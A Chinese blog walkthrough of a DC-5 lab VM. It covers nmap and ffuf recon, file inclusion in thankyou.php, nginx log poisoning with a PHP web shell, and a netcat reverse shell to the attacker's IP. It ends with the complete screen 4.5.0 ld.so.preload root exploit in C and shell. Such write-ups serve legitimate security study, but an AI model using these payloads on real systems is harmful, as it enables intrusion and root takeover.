2022春节一次完整的渗透测试-DC-5靶场

DC靶场的下载、安装与访问在上一篇的文章中。

2022-渗透测试-DC靶场的下载、安装与访问_保持微笑的博客-CSDN博客https://blog.csdn.net/qq_38612882/article/details/122779202

靶场攻略:

1、使用nmap快速扫描的命令:

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.120.0/24

识别到靶场主机ip 

2.使用命令:

nmap -A -p- -T4 192.168.120.137

探测靶场突破口,探测到开放了80端口,111端口和58821端口没啥用处。

3.访问80端口,寻找进一步突破口。如果直接使用ip访问会跳转到http://dc-4/,而无法正常加载出来。所以需要我们去添加hosts文件,跳转域名来访问靶场ip。

Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件。

Linux:在/etc/hosts文件中添加域名。

打开浏览器,访问即可。

 在contact.php页面,发现了交互地方。

 我们先随便写一个提交一下。

当我们每次刷新的时候,下面的 copy的时间是一直在变化的。

 4.此时我们可以对目录进行扫描一下。

ffuf -u http://192.168.120.137/FUZZ -w /root/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt -s

访问footer.php时,可以看到copyright,结合我们提交后的那个页面,我们可以得知,这里存在文件包含。

 漏洞利用

一般文件包含的参数常见的有 include, require, page ,file, f等等,我们可以首先手动尝试这些可能性极高的参数,如果没有发现再通过字典爆破。最终发现 file正是文件包含的参数。

http://dc-5/thankyou.php?file=index.php

http://dc-5/thankyou.php?file=/etc/passwd

 

网站外部文件也能包含进来,那么我们也可以包含nginx的日志文件。ginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。

我们就可以上传一句话木马。打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>

然后再来测试一下命令 

http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=id

建立shell

接下来就反弹一个shell,在本地监听一个端口 4443

 然后再浏览器访问下面地址,利用一句话木马执行反弹shell的命令。

http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/bash 192.168.120.129 4443

然后升级为交互式shell,在本地执行下面命令:

python -c 'import pty;pty.spawn("/bin/bash")'

然后进行提权。

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限

-tpye 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。

2>/dev/null 代表不显示错误信息,

 用searchsploit搜索一下screen-4.5.0的文件。

searchsploit screen 4.5.0

 我们将41154.sh文件复制到当前目录下面。

searchsploit -m 41154.sh

 查看这个文件

cat 41154.sh 

从这个文件可以得出,需要我们去创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译。

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

将这段代码保存为 libhax.c,并执行下面命令进行编译:

gcc -fPIC -shared -ldl -o libhax.so libhax.c

 -fPIC 参数表明使用地址无关代码。

-shared 参数表明产生共享库。

-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。

 将下面代码保存为 rootshell.c文件

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

然后执行下面命令编译rootshell.c:

gcc -o rootshell rootshell.c

 然后将下面代码保存为 getroot.sh

umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

然后将编译后的文件和 getroot.sh共三个文件一起上传到靶机的 /tmp目录。这里我通过蚁剑上传的,然后修改getroot.sh的权限。

 提权成功,在/root目录获取flag。

猜你喜欢

转载自blog.csdn.net/qq_38612882/article/details/122876490